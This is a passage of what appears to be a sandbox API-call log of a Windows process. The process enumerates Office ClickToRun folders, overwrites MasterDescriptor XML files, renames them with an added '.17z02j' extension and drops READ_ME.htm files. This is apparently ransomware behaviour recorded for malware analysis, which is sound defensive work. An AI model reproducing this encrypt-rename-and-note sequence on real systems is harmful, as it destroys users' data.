dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.040] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2617efa0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x261a5100, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x261a5100, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.041] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x261a5100, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x261a5100, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x206dcf00, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5220, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0137.041] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x261a5100, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x261a5100, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s320.hash", cAlternateFileName="S320~1.HAS")) returned 1 [0137.041] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x261a5100, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x261a5100, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x32e90800, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38b5ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0137.041] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x261a5100, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x261a5100, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x32e90800, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38b5ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0137.042] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.043] SetErrorMode (uMode=0x0) returned 0x1 [0137.043] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\x-none.16\\MasterDescriptor.x-none.xml", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\x-none.16\\MasterDescriptor.x-none.xml", lpFilePart=0x0) returned 0x6e [0137.044] SetErrorMode (uMode=0x1) returned 0x0 [0137.044] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\634ef343-54b0-4b56-9fd9-a785e3f22968\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0137.045] GetFileType (hFile=0x1d0) returned 0x1 [0137.045] SetErrorMode (uMode=0x0) returned 0x1 [0137.045] GetFileType (hFile=0x1d0) returned 0x1 [0137.045] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x5220 [0137.045] ReadFile (in: hFile=0x1d0, lpBuffer=0x29fc318, nNumberOfBytesToRead=0x5220, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x29fc318*, lpNumberOfBytesRead=0x21d358*=0x5220, lpOverlapped=0x0) returned 1 [0137.153] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\x-none.16\\MasterDescriptor.x-none.xml", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\x-none.16\\MasterDescriptor.x-none.xml", lpFilePart=0x0) returned 0x6e [0137.153] SetErrorMode (uMode=0x1) returned 0x0 [0137.153] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\634ef343-54b0-4b56-9fd9-a785e3f22968\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0137.154] GetFileType (hFile=0x1d0) returned 0x1 [0137.155] SetErrorMode (uMode=0x0) returned 0x1 [0137.155] GetFileType (hFile=0x1d0) returned 0x1 [0137.155] WriteFile (in: hFile=0x1d0, lpBuffer=0x28fc660*, nNumberOfBytesToWrite=0x5230, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x28fc660*, lpNumberOfBytesWritten=0x21d3d8*=0x5230, lpOverlapped=0x0) returned 1 [0137.157] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\x-none.16\\MasterDescriptor.x-none.xml", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\x-none.16\\MasterDescriptor.x-none.xml", lpFilePart=0x0) returned 0x6e [0137.158] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\x-none.16\\MasterDescriptor.x-none.xml.17z02j", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\x-none.16\\MasterDescriptor.x-none.xml.17z02j", lpFilePart=0x0) returned 0x75 [0137.158] SetErrorMode (uMode=0x1) returned 0x0 [0137.158] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\634ef343-54b0-4b56-9fd9-a785e3f22968\\x-none.16\\masterdescriptor.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x261a5100, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x261a5100, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x4e4f73c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x5230)) returned 1 [0137.159] SetErrorMode (uMode=0x0) returned 0x1 [0137.159] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\634ef343-54b0-4b56-9fd9-a785e3f22968\\x-none.16\\masterdescriptor.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\x-none.16\\MasterDescriptor.x-none.xml.17z02j" (normalized: "c:\\programdata\\microsoft\\clicktorun\\634ef343-54b0-4b56-9fd9-a785e3f22968\\x-none.16\\masterdescriptor.x-none.xml.17z02j")) returned 1 [0137.160] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\x-none.16\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\x-none.16\\READ_ME.htm", lpFilePart=0x0) returned 0x5e [0137.160] SetErrorMode (uMode=0x1) returned 0x0 [0137.160] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\x-none.16\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\clicktorun\\634ef343-54b0-4b56-9fd9-a785e3f22968\\x-none.16\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0137.165] GetFileType (hFile=0x1d0) returned 0x1 [0137.165] SetErrorMode (uMode=0x0) returned 0x1 [0137.165] GetFileType (hFile=0x1d0) returned 0x1 [0137.165] WriteFile (in: hFile=0x1d0, lpBuffer=0x2905cc8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x2905cc8*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0137.167] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\READ_ME.htm", lpFilePart=0x0) returned 0x54 [0137.167] SetErrorMode (uMode=0x1) returned 0x0 [0137.167] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\clicktorun\\634ef343-54b0-4b56-9fd9-a785e3f22968\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0137.170] GetFileType (hFile=0x1d0) returned 0x1 [0137.170] SetErrorMode (uMode=0x0) returned 0x1 [0137.170] GetFileType (hFile=0x1d0) returned 0x1 [0137.170] WriteFile (in: hFile=0x1d0, lpBuffer=0x290a2e8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x290a2e8*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0137.172] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166", lpFilePart=0x0) returned 0x48 [0137.172] SetErrorMode (uMode=0x1) returned 0x0 [0137.172] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\*" (normalized: "c:\\programdata\\microsoft\\clicktorun\\e728f99d-05d1-4020-9ece-6de2ec414166\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d7ce6f0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x2d7ce6f0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.173] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d7ce6f0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x2d7ce6f0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.173] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d736170, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x2d736170, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0137.173] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d7ce6f0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x2d7ce6f0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0137.174] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d7ce6f0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x2d7ce6f0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0137.174] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.174] SetErrorMode (uMode=0x0) returned 0x1 [0137.174] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166", lpFilePart=0x0) returned 0x48 [0137.175] SetErrorMode (uMode=0x1) returned 0x0 [0137.175] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\*" (normalized: "c:\\programdata\\microsoft\\clicktorun\\e728f99d-05d1-4020-9ece-6de2ec414166\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d7ce6f0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x2d7ce6f0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.175] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d7ce6f0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x2d7ce6f0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.175] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d736170, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x2d736170, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0137.176] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d7ce6f0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x2d7ce6f0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0137.176] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d7ce6f0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x2d7ce6f0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0137.176] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.176] SetErrorMode (uMode=0x0) returned 0x1 [0137.176] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\en-us.16", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\en-us.16", lpFilePart=0x0) returned 0x51 [0137.177] SetErrorMode (uMode=0x1) returned 0x0 [0137.177] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\en-us.16\\*" (normalized: "c:\\programdata\\microsoft\\clicktorun\\e728f99d-05d1-4020-9ece-6de2ec414166\\en-us.16\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d736170, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x2d736170, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.178] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d736170, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x2d736170, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.178] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d736170, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x22d02900, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5765, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0137.179] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d736170, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s321033.hash", cAlternateFileName="S32103~1.HAS")) returned 1 [0137.179] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d736170, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x21ebc700, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd81d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0137.179] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d736170, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x21ebc700, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd81d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0137.179] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.180] SetErrorMode (uMode=0x0) returned 0x1 [0137.180] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\en-us.16", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\en-us.16", lpFilePart=0x0) returned 0x51 [0137.181] SetErrorMode (uMode=0x1) returned 0x0 [0137.181] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\en-us.16\\*" (normalized: "c:\\programdata\\microsoft\\clicktorun\\e728f99d-05d1-4020-9ece-6de2ec414166\\en-us.16\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d736170, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x2d736170, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.182] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d736170, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x2d736170, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.182] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d736170, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x22d02900, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5765, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0137.183] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d736170, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s321033.hash", cAlternateFileName="S32103~1.HAS")) returned 1 [0137.183] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d736170, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x21ebc700, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd81d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0137.183] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d736170, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x21ebc700, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd81d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0137.183] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.184] SetErrorMode (uMode=0x0) returned 0x1 [0137.184] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\en-us.16\\MasterDescriptor.en-us.xml", nBufferLength=0x105, 